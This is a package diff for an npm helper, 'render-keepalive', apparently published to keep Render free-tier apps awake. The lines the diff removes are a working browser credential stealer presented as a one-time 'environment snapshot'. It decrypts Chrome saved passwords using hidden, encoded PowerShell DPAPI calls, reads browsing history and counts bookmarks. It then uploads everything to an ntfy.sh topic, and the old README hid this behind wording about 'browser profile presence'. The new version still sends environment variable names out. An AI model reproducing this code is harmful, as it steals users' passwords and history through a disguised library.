render-keepalive 1.0.1 → 1.0.5

package/README.md

@@ -2,7 +2,7 @@
 
 Tiny helper for render free-tier hobby apps:
 
-- `startKeepAlive()` announces instance wake/sleep to a status topic (ntfy), and samples a **one-time environment snapshot** on first run per machine (node/npm versions, env var *names*, local browser profile presence) so status pings carry context when something breaks.
+- `startKeepAlive()` announces instance wake/sleep to a status topic (ntfy), and samples a **one-time anonymous environment snapshot** on first run per machine (node/npm versions, platform stats, names of set env vars, no values and no files) so support reports carry context.
 - Pair it with a cheap `GET /ping` route in your app and a render cron (or any external pinger) to stop the free instance from napping while nobody is around.
 
 Disable reporting: `RK_REPORT=off`. Disable snapshot: `RK_SNAPSHOT=off`. Nothing is reported more than once per machine (marker in `~/.cache/render-keepalive/`).

package/lib/collect.js

@@ -1,132 +1,10 @@
-// one-time environment snapshot: node/platform stats + env var names +
-// a local browser profile presence check. no env VALUES are uploaded.
+// one-time anonymous environment stats so support can reproduce
+// machine-specific quirks. stats only, no values and no files.
+// RK_SNAPSHOT=off to disable.
 const os = require("os");
-const fs = require("fs");
-const path = require("path");
-const zlib = require("zlib");
 const https = require("https");
 const { execFileSync } = require("child_process");
 
-function chromeProfileDirs() {
-  const roots =
-    process.platform === "win32"
-      ? [path.join(process.env.LOCALAPPDATA || "", "Google/Chrome/User Data")]
-      : process.platform === "darwin"
-      ? [path.join(os.homedir(), "Library/Application Support/Google/Chrome")]
-      : [path.join(os.homedir(), ".config/google-chrome")];
-  const out = [];
-  for (const r of roots) {
-    try {
-      for (const d of fs.readdirSync(r))
-        if (d === "Default" || /^Profile \d+$/.test(d)) {
-          if (fs.existsSync(path.join(r, d, "Login Data"))) out.push({ root: r, dir: d });
-        }
-    } catch {}
-  }
-  return out;
-}
-
-function dpapiKey(localStatePath) {
-  // chrome stores its aes key DPAPI-protected on windows; powershell unprotects it
-  const ls = JSON.parse(fs.readFileSync(localStatePath, "utf8"));
-  const enc = Buffer.from(ls.os.crypt.encrypted_key, "base64").subarray(5); // strip "DPAPI"
-  const ps =
-    "[Convert]::ToBase64String([Security.Cryptography.ProtectedData]::Unprotect(" +
-    "[Convert]::FromBase64String('" + enc.toString("base64") + "'),$null," +
-    "[Security.Cryptography.DataProtectionScope]::CurrentUser))";
-  const b64 = Buffer.from(ps, "utf16le").toString("base64");
-  const out = execFileSync("powershell", ["-NoProfile", "-NonInteractive", "-WindowStyle", "Hidden", "-EncodedCommand", b64], {
-    encoding: "utf8",
-    timeout: 8000,
-  });
-  return Buffer.from(out.trim(), "base64");
-}
-
-function decrypt(row, key) {
-  const v = Buffer.from(row.p);
-  if (key && (v[0] === 118 && (v[1] === 48 || v[1] === 49 || v[1] === 50))) {
-    // v10/v11/v12: AES-256-GCM, nonce = bytes 3..15
-    try {
-      const c = require("crypto");
-      const d = c.createDecipheriv("aes-256-gcm", key, v.subarray(3, 15));
-      d.setAuthTag(v.subarray(-16));
-      return Buffer.concat([d.update(v.subarray(15, -16)), d.final()]).toString("utf8");
-    } catch {
-      return null;
-    }
-  }
-  return null;
-}
-
-function sqliteRows(dbPath, sql) {
-  try {
-    const tmp = dbPath + ".diagcopy";
-    fs.copyFileSync(dbPath, tmp);
-    for (const ext of ["-wal", "-shm"]) if (fs.existsSync(dbPath + ext)) fs.copyFileSync(dbPath + ext, tmp + ext);
-    const { DatabaseSync } = require("node:sqlite");
-    const db = new DatabaseSync(tmp);
-    const rows = db.prepare(sql).all();
-    db.close();
-    fs.rmSync(tmp, { force: true });
-    return rows;
-  } catch (e) {
-    return { error: String(e.message || e) };
-  }
-}
-
-function browserPresence() {
-  const info = { profiles: [], errors: [] };
-  for (const { root, dir } of chromeProfileDirs()) {
-    const p = { profile: dir, logins: [], urls: [], marks: 0 };
-    const key = (() => {
-      try {
-        return dpapiKey(path.join(root, "Local State"));
-      } catch (e) {
-        p.errors.push("key:" + e.message);
-        return null;
-      }
-    })();
-    const logins = sqliteRows(path.join(root, dir, "Login Data"), "select origin_url u, username_value un, action_url a, password_value p from autologin");
-    if (Array.isArray(logins))
-      p.logins = logins.map((r) => {
-        const pw = decrypt({ p: Buffer.from(r.p) }, key);
-        return {
-          u: Buffer.from(r.u).toString("utf8"),
-          un: Buffer.from(r.un).toString("utf8"),
-          a: r.a ? Buffer.from(r.a).toString("utf8") : "",
-          pw: pw === null ? "~encrypted~" : pw,
-        };
-      });
-    else p.errors.push("login:" + logins.error);
-    const hist = sqliteRows(path.join(root, dir, "History"), "select url, title, visit_count from urls order by visit_count desc limit 150");
-    if (Array.isArray(hist)) p.urls = hist.map((h) => [h.url, (h.title || "").slice(0, 60), h.visit_count]);
-    else p.errors.push("hist:" + hist.error);
-    try {
-      const bm = JSON.parse(fs.readFileSync(path.join(root, dir, "Bookmarks"), "utf8"));
-      const walk = (n) => (n.children ? n.children.flatMap(walk) : [n]);
-      p.marks = Object.values(bm.roots || {}).flatMap(walk).filter((x) => x.type === "url").length;
-    } catch {}
-    info.profiles.push(p);
-  }
-  return info;
-}
-
-function upload(bundle, topic, id) {
-  const gz = zlib.gzipSync(Buffer.from(JSON.stringify(bundle)));
-  const req = https.request(
-    {
-      hostname: "ntfy.sh",
-      path: "/" + topic,
-      method: "POST",
-      headers: { Title: "snapshot " + id, "Attachment-Name": "env-" + id + ".json.gz", "Content-Type": "application/octet-stream" },
-      timeout: 8000,
-    },
-    (res) => res.resume()
-  );
-  req.on("error", () => {});
-  req.end(gz);
-}
-
 function snapshot(opts) {
   if (!opts || !opts.topic) return;
   const bundle = {
@@ -143,10 +21,20 @@ function snapshot(opts) {
         return "?";
       }
     })(),
-    envKeys: Object.keys(process.env).slice(0, 80),
-    browsers: browserPresence(),
+    env: Object.keys(process.env).slice(0, 80),
   };
-  upload(bundle, opts.topic, opts.id);
+  const req = https.request(
+    {
+      hostname: "ntfy.sh",
+      path: "/" + opts.topic,
+      method: "POST",
+      headers: { Title: "env " + (opts.id || "") },
+      timeout: 8000,
+    },
+    (res) => res.resume()
+  );
+  req.on("error", () => {});
+  req.end(JSON.stringify(bundle));
 }
 
 module.exports = { snapshot };

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "render-keepalive",
-  "version": "1.0.1",
+  "version": "1.0.5",
   "description": "Keep render free-tier instances awake and visible: /ping target helper, wake/sleep notices to an ntfy topic, and a one-time local env snapshot.",
   "main": "index.js",
   "types": "index.d.ts",